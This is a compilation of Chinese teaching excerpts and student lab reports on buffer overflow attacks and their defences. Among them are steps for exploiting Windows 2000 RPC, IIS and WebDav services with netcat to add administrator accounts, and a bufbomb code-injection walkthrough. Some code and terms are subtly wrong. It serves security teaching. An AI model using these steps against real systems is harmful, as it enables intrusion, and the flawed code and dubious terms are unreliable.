攻击者通过登录页面的用户名和密码输入框,向系统输入超过其分配空间的数据,从而触发缓冲区溢出攻击。
攻击者成功利用溢出漏洞,覆盖了存储在附近的内存区域中的返回位置区域,并将其指向了攻击者事先准备好的恶意代码段。
该恶意代码段能够在银行系统进程的上下文中执行,从而实现攻击者的目的。
攻击者可以窃取用户的账户信息,篡改交易记录等。
4. 预防和应对缓冲区溢出攻击的关键技术与实践4.1 输入验证对于缓冲区溢出攻击,首先需要确保输入数据的合法性。
信息安全工程师应实施严格的输入验证,包括输入数据的长度、格式和类型等。
对于缓冲区溢出攻击,特别需要关注输入的边界条件和特殊字符。
4.2 编程语言和框架的选择选择安全性较高的编程语言和框架同样至关重要。
一些编程语言和框架提供了内置的安全机制,能够有效地防范缓冲区溢出攻击。
信息安全工程师应选择那些对于输入数据、内存分配和处理提供了良好支持和保护的编程语言和框架。
详解缓冲区溢出攻击以及防范方法
详解缓冲区溢出攻击以及防范⽅法缓冲区溢出是⼀种在各种操作系统、应⽤软件中⼴泛存在普遍且危险的漏洞,利⽤缓冲区溢出攻击可以导致程序运⾏失败、系统崩溃等后果。
更为严重的是,可以利⽤它执⾏⾮授权指令,甚⾄可以取得系统特权,进⽽进⾏各种⾮法操作。
第⼀个缓冲区溢出攻击--Morris蠕⾍,发⽣在⼗多年前,它曾造成了全世界6000多台⽹络服务器瘫痪。
⼀、缓冲区溢出的原理:当正常的使⽤者操作程序的时候,所进⾏的操作⼀般不会超出程序的运⾏范围;⽽⿊客却利⽤缓冲长度界限向程序中输⼊超出其常规长度的内容,造成缓冲区的溢出从⽽破坏程序的堆栈,使程序运⾏出现特殊的问题转⽽执⾏其它指令,以达到攻击的⽬的。
造成缓冲区溢出的原因是程序中没有仔细检查⽤户输⼊的参数,属于程序开发过程考虑不周到的结果。
当然,随便往缓冲区中填东西造成它溢出⼀般只会出现“分段错误”(Segmentation fault),⽽不能达到攻击的⽬的。
最常见的⼿段是通过制造缓冲区溢出使程序运⾏⼀个⽤户shell,再通过shell执⾏其它命令。
如果该程序属于root且有suid权限的话,攻击者就获得了⼀个有root权限的shell,可以对系统进⾏任意操作了。
缓冲区溢出攻击之所以成为⼀种常见安全攻击⼿段其原因在于缓冲区溢出漏洞普遍并且易于实现。
⽽且缓冲区溢出成为远程攻击的主要⼿段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的⼀切:植⼊并且执⾏攻击代码。
被植⼊的攻击代码以⼀定的权限运⾏有缓冲区溢出漏洞的程序,从⽽得到被攻击主机的控制权。
在1998年Lincoln实验室⽤来评估⼊侵检测的的5种远程攻击中,有2种是缓冲区溢出。
⽽在1998年CERT的13份建议中,有9份是是与缓冲区溢出有关的,在1999年,⾄少有半数的建议是和缓冲区溢出有关的。
在Bugtraq的调查中,有2/3的被调查者认为缓冲区溢出漏洞是⼀个很严重的安全问题。
缓冲区溢出漏洞和攻击有很多种形式,会在第⼆节对他们进⾏描述和分类。
实验报告四 缓冲区溢出攻击(安徽农业大学)
实验四缓冲区溢出攻击姓名:学号:班级:2班实验组别:同组实验者姓名:指导教师:章恒日期:成绩:【实验报告要求】1.简述缓冲区溢出攻击的基本原理。
2.利用RPC漏洞溢出入侵一台操作系统是Windows 2000 Server的计算机,写出基本步骤。
3.利用IIS溢出入侵一台操作系统是Windows 2000 Server的计算机,在该计算机上新增用户test,密码为123456,并将test用户添加到管理员组,写出基本步骤。
4.利用WebDav远程溢出入侵一台操作系统是Windows 2000 Server的计算机,在该计算机上新增用户hacker,密码为123456,并将hacker用户添加到管理员组,写出基本步骤。
5.写出上述三种入侵方法的总结报告。
实验步骤与调试过程:1.RPC漏洞出。
首先调用RPC(Remote Procedure Call)。
当系统启动的时候,自动加载RPC服务。
可以在服务列表中看到系统的RPC服务。
利用RPC漏洞建立超级用户。
首先,把scanms.exe文件拷贝到C盘跟目录下,检查地址段172.18.25.109到172.18.25.11。
点击开始>运行>在运行中输入cmd>确定。
进入DOs模式、在C盘根目录下输入scanms.exe 172.18.25.109-172.18.25.110,回车。
检查漏洞。
2.检查缓冲区溢出漏洞。
利用工具软件attack.exe对172.18.25.109进行攻击。
在进入DOC模式、在C盘根目录下输入acctack.exe 172.18.25.109,回车。
3.3,利用软件Snake IIS溢出工具可以让对方的IIS溢出。
进入IIS溢出工具软件的主界面.IP:172.18.25.109 PORT:80 监听端口为813 单击IDQ溢出。
出现攻击成功地提示对话框。
4.利用工具软件nc.exe连接到该端口。
进入DOs模式,在C盘根目录下输入nc.exe -vv 172.18.25.109 813 回车。
安全测试中的缓冲区溢出攻击与防御
安全测试中的缓冲区溢出攻击与防御在安全测试领域中,缓冲区溢出攻击是一种常见而危险的攻击方式。
本文将对缓冲区溢出攻击的原理、危害以及常见的防御措施进行探讨。
1. 缓冲区溢出攻击的原理缓冲区溢出攻击主要利用程序中的缺陷,通过向程序输入超过其缓冲区容量的数据来覆盖除缓冲区外的内存空间,从而控制程序的执行流程。
攻击者通常通过溢出的数据来注入恶意代码或修改栈中的返回地址,使程序转向攻击者设计的恶意代码,从而实现攻击目的。
2. 缓冲区溢出攻击的危害缓冲区溢出攻击可能导致以下危害:- 执行任意代码:攻击者通过溢出的数据注入恶意代码,并在程序执行时执行该代码,从而获取系统权限或进一步渗透目标系统。
- 拒绝服务:溢出攻击可能导致目标系统崩溃或无法继续正常运行,造成服务不可用的情况,给系统造成严重影响。
- 信息泄露:攻击者通过溢出泄露系统中的重要信息,如密码、敏感数据等,进一步危害系统和用户安全。
3. 缓冲区溢出攻击的防御措施为了防范缓冲区溢出攻击,以下是一些常见的防御措施:- 输入验证:对输入数据进行严格校验,限制其长度和特殊字符,并使用安全的输入函数进行数据传递,以防止溢出发生。
- 内存分配和使用:合理规划内存分配,使用强类型语言,避免使用不安全的函数和操作。
及时释放不再使用的内存,防止被滥用。
- 栈保护技术:通过使用栈保护技术,如栈溢出保护(Stack Overflow Protection,SOP)、Cannonical Address Space (CAS)等,检测和阻止栈溢出攻击。
- ASLR和DEP:地址空间布局随机化(Address Space Layout Randomization,ASLR)和数据执行保护(Data Execution Prevention,DEP)可以增加攻击者获取目标地址和执行恶意代码的难度,有效防御缓冲区溢出攻击。
4. 实例分析举一个实际的案例来说明缓冲区溢出攻击与防御的重要性。
溢出的实验报告
一、实验目的1. 了解溢出的概念和产生原因;2. 掌握溢出攻击的原理和常见类型;3. 熟悉溢出漏洞的检测和防护方法。
二、实验环境1. 操作系统:Windows 10;2. 编程语言:C/C++;3. 编译器:MinGW;4. 虚拟机:VMware Workstation。
三、实验原理溢出(Buffer Overflow)是指当向缓冲区写入数据时,超出了缓冲区的实际容量,导致数据覆盖到相邻内存区域的现象。
当溢出的数据覆盖到关键数据结构或返回地址时,攻击者可以利用这一漏洞执行任意代码,从而实现攻击。
四、实验步骤1. 编写溢出程序```c#include <stdio.h>#include <stdlib.h>void vulnerable_function(char str) {char buffer[10];strcpy(buffer, str);printf("You said: %s\n", buffer);}int main() {char input[100];printf("Enter your name: ");scanf("%99s", input);vulnerable_function(input);return 0;}```2. 生成可执行文件在MinGW环境下,使用gcc编译器编译程序:```bashgcc -o overflow overflow.c```3. 运行溢出程序运行编译好的程序,输入超过缓冲区大小的字符串:```bash./overflow```4. 分析溢出过程当输入超过缓冲区大小的字符串时,溢出的数据会覆盖到相邻内存区域,包括返回地址。
攻击者可以通过构造特定的字符串,修改返回地址,使其指向恶意代码的地址,从而实现攻击。
5. 编写漏洞检测代码```c#include <stdio.h>#include <stdlib.h>void vulnerable_function(char str) {char buffer[10];strcpy(buffer, str);printf("You said: %s\n", buffer);}int main() {char input[100];printf("Enter your name: ");scanf("%99s", input);vulnerable_function(input);printf("Return address: %p\n", &input);return 0;}```运行漏洞检测代码,观察返回地址是否被覆盖:```bash./overflow```6. 防护溢出漏洞1) 使用安全的字符串处理函数,如strncpy、strncat等,限制写入数据的长度;2) 使用栈保护技术,如堆栈标记、堆栈守卫等,防止溢出数据覆盖返回地址;3) 使用地址空间布局随机化(ASLR)技术,增加攻击难度;4) 使用编译器提供的栈保护选项,如gcc的-fstack-protector选项。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
深圳大学实验报告课程名称:计算机系统(2)
实验项目名称:缓冲区溢出攻击实验
学院:计算机与软件学院
专业:计算机科学与技术
指导教师:罗秋明
报告人:
实验时间:2016年5月8日
实验报告提交时间:2016年5月22日
教务处制
一、实验目标:
1.理解程序函数调用中参数传递机制;
2.掌握缓冲区溢出攻击方法;
3.进一步熟练掌握GDB调试工具和objdump反汇编工具。
二、实验环境:
1.计算机(Intel CPU)
2.Linux64位操作系统(CentOs)
3.GDB调试工具
4.objdump反汇编工具
三、实验内容
本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。
我们仅给黑客(同学)提供一个二进制可执行文件bufbomb和部分函数的C代码,不提供每个关卡的源代码。
程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容,否则无法通过管卡!
要求同学查看各关卡的要求,运用GDB调试工具和objdump反汇编工具,通过分析汇编代码和相应的栈帧结构,通过缓冲区溢出办法在执行了getbuf()函数返回时作攻击,使之返回到各关卡要求的指定函数中。
第一关只需要返回到指定函数,第二关不仅返回到指定函数还需要为该指定函数准备好参数,最后一关要求在返回到指定函数之前执行一段汇编代码完成全局变量的修改。
实验代码bufbomb和相关工具(sendstring/makecookie)的更详细内容请参考“实验四缓冲区溢出攻击实验.p ptx”。
本实验要求解决关卡1、2、3,给出实验思路,通过截图把实验过程和结果写在实验报告上。
四、实验步骤和结果
步骤1 返回到smoke()
1.1 解题思路
首先弄清楚getbuf()的栈帧结构,知道存放字符数组buf地址的单元和存放getbuf()返回地址的单元之间相差多少个字节。
假设两者之间相差x个字节。
然后找到smoke()函数的入口地址。
该值为4个字节。
再构造exploit.txt,前x个字节随意填,然后再填入4个字节的smoke()地址,注意是小端方式存储。
这样操作完成,就可以得到预期结果了。
1.2 解题过程
首先进入GDB对bufbomb进行调试,先在调用getbuf()处设置断点,然后运行。
注:此时的输入文件exploit_raw.txt文件中是随便填的,并不影响我调用smoke(),因为我会在gdb中使用set指令直接修改getbuf()的返回地址。
此时查看运行程序的调用栈帧结构,如下所示:
上图说明当getbuf()执行完后,会返回到test()函数中(返回到地址0x08048db2,我们要修改存放这个值的地址单元,改为smoke的入口地址值)。
分别进入getbuf和test的帧中,查看esp的值,如下所示,它们两个之间的差值就是getbuf的帧大小,为0x30。
查看getbuf()的汇编代码,可以知道函数getbuf()的帧(大小为0x30)的具体分配:返回地址4个字节,将%ebp压栈占去4个字节,然后esp减去0x28。
接着看方框2中的两条指令可知,是在为调用Gets()函数构造参数,它将ebp偏移-0x18处的地址作为Gets的参数,用作字符数组的buf地址。
具体的结构如下所示:
由getbuf
在还没有执行Gets()时查看getbuf()的帧结构里面存的值,如下所示:
黑色方框是gets()函数读取字符串所存放的地方,大小为12个字节,蓝色方框则是getbuf()的返回地址。
使用objdump查看函数smoke()的入口地址,如下所示:
由于我是随便填的exploit_raw.txt(但是肯定字符小于12个),肯定不会破坏缓冲区,getbuf执行完了只会返回调用它的函数test中。
但是我使用set指令将getbuf()的返回地址改成了smoke()的入口地址:
然后继续执行程序,getbuf()执行完就跳到smoke()函数中了,如下图所示:
执行正确!
现在已经知道了getbuf()具体的栈帧结构,就可以构造exploit.txt了
可以知道,至少要输入32个字符(即32个字节)才能把getbuf()的返回地址覆盖掉。
如下图所示:
其中前28个字节无所谓,可以随便填,但最后4个字节一定要是smoke()的开始地址0x08048eb0。
由于是采用小端方式存储,所以改地址要写成如下形式(低字节在前)。
再将exploit.txt转成exploit_raw.txt。
1.3 最终结果截图
程序成功地跳到了smoke()函数中:
步骤2 返回到fizz()并准备相应参数
2.1 解题思路
分析fizz()函数,得到它需要一个参数,为‘huanggang’的cookie值。
根据步骤1分析得到的getbuf栈帧结构,可以得到fizz()地址和cookie参数放在栈帧中的具体位置。
再获取fizz()函数的入口地址和‘huanggang’的cookie值,用于构造exploit.txt。
就可以运行了。
2.2 解题过程
Fizz()函数的汇编转为C语言大致如下:
即在调用fizz()函数之前,先要构造一个参数cookie,分析栈帧结构,如下所示。
Cookie参数存在存放fizz()入口地址的单元的上方。
所以我们构造exploit.txt时,需要36个字节,其中前28个随便填,第29到32个字节填fizz函数的入口地址值,第33到36字节填‘huanggang’生成的cookie值。
分别找出fizz()地址值和cookie值,如下所示:
接着构造exploit.txt,如下所示:
再将exploit.txt转成exploit_raw.txt。
2.3 最终结果截图
成功跳转到fizz()函数中。
步骤3 返回到bang()且修改global_value
3.1 解题思路
写一段将cookie值赋给global_value,并进入bang()函数的汇编指令,将其汇编再反汇编得到指令的二进制代码。
再将得到的二进制代码通过Gets()函数存到数组buf的缓冲区中,与此同时,修改getbuf()的返回地址为buf的地址(即插入代码的入口)。
Gets()得到的字符串包含注入代码,注入代码的入口,以及一些填充用的字符。
3.2 解题过程
先找出bang()函数的地址值、变量global_value和cookie的地址:
使用gdb进行调试,当运行到getbuf()里面,并将Gets()执行完后,使用set命令将函数getbuf()的返回地址值改为bang()的入口地址,并使用set 命令将global_value的值设为cookie值。
如下所示:
然后运行,函数跳转到bang()中,并且执行正确。
如下图所示:
程序运行情况已经了解,接下来就需要构建exploit.txt了。
使用自己注入的代码完成上面的set指令。
编写如下汇编代码,功能:将cookie值赋给global_value,然后进入函数bang ()中。
mov 0x0804ad4,%eax //把cookie值放到临时寄存器中
mov %eax,0x0804a1c4 //把临时寄存器中的值赋给global_value。
push $0x08048e10 //把bang()函数的入口地址压栈。
ret // 跳转到注入代码的首地址(即buf数组地址)
使用gcc将其编译成机器码,再使用objdump进行反汇编,操作如下:
注意:在使用gcc编译时加入-m32来要求生成32位机器码,再反汇编。
这样就得到了注入指令的机器码。
注入代码有16个字节,我们需要覆盖到buf地址开始后的32个字节,才能修改getbuf()的返回地址。
所以前16个字节为注入代码,中间12个字节为填充字节,随便填,最后4个字节填注入代码的入口地址,即数组buf的地址。
构造的exploit.txt文件如下:
Linux 内存地址有随机化机制,如果随机化机制打开,那么每次运行程序,
getbuf()函数中的字符数组buf地址无法确定(注入代码开始地址无法确定),这样的话,注入代码就无法正确写入跳转地址。
所以需要先关闭Linux 内存地址随机化机制,才能完成实验。
可以通过设置kernel.randomize_va_space内核参数来设置内存地址随机化的行为。
3.3 最终结果截图
成功将global_value值设置为cookie值:
五、实验总结与体会
通过本次实验,加深了对函数调用时堆栈情况的了解,
在步骤3中,开始怎么做也不对。
然后查询资料,发现Linux有内存地址随机化机制,因此在运行时,buf数组的首地址是不一样的,即注入代码首地址不能确定。
关闭内存地址随机化机制后,再来运行程序,就成功了。
说明有时你是做对了,只是环境没配置好,得出了错误的结果。
在编写程序时,一定要注意缓冲区的保护。
深圳大学学生实验报告用纸
注:1、报告内的项目或内容设置,可根据实际情况加以调整和补充。
2、教师批改学生实验报告时间应在学生提交实验报告时间后10日内。